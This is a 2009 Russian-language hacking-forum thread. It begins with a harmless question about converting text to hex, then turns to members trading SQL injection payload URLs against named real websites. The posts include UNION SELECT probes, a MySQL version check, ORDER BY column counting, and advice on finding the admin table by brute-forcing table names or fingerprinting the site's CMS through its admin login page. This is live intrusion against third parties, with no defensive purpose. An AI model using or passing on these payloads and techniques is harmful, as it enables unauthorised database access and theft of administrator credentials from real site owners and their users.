 |
|
17.02.2009, 20:32
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами:
9116712
Репутация:
688
|
|
чем лучше переводить текс в хек ... дайте ссылочку ... и лутче онлайн
|
|
|
17.02.2009, 20:50
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Сообщение от f1ng3r
чем лучше переводить текс в хек ... дайте ссылочку ... и лутче онлайн
PHP код:
<?
$n="Тут текст, который надо захексить";
echo "0x".bin2hex($n);
?>
|
|
|
|
17.02.2009, 20:53
|
|
Познающий
Регистрация: 14.02.2009
Сообщений: 45
С нами:
9072487
Репутация:
74
|
|
f1ng3r, специально для тебя написал http://yandexclub.ru/hack/hex.php
|
|
|
|
17.02.2009, 20:59
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами:
9314306
Репутация:
325
|
|
f1ng3r
http://noxak.ru/tools/ - тут много во что перевести можно... вобщем отличная вещь!
|
|
|
|
18.02.2009, 07:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+unoin+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18/*
что думаете?
|
|
|
|
18.02.2009, 09:47
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами:
9196401
Репутация:
930
|
|
Сообщение от sabe
что думаете?
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+unoin+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18/*
долго ломал голову что там)))
после этого запроса все стало понятно 
Код:
http://studorgs.bowdoin.edu/meddies/news.php?nid=10+and+substring(version(),1,1)=3/*
3 ветка,поэтому вывода нет (union введён с четвётой версии mysql)
p.s там вроде 8 полей) а не 18
Код:
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+order+by+8/*
Последний раз редактировалось z00MAN; 18.02.2009 в 10:28..
|
|
|
|
18.02.2009, 15:11
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
Помогите найти табличку с админами...
http://www. travelwings .ru/article.php?id_article=-5+union+select+1,2,3,4,5,6,7,8,9,0,1/*
|
|
|
|
18.02.2009, 15:53
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Думаю, что тебе поможет брутер+список названия таблиц...
|
|
|
|
18.02.2009, 15:59
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от -m0rgan-
Думаю, что тебе поможет брутер+список названия таблиц...
Можно и так, но есть способ лучше
Заходим в админку:
http://www.travelwings.ru/admin/login.php
Видим вверху надпись:
Citrus CMS v2.0
Гуглим и находим офф сайт этой цмс:
http://citrus-soft.ru
Видим. что она платная, значит с кодом обламываемся , но в портфолио присутствуют ещё сайты на этом движке, и существует вероятность найти пятую ветку и посмотреть структуру базы. Удачи
|
|
|
|
18.02.2009, 16:15
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
jokester, я этим в первую очередь и занялся... болт там, все на 4ой!
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [JavaScript]](/avatars/avatar76873.jpg?1122130){kind=avatar}
Похожие темы
Линейный вид
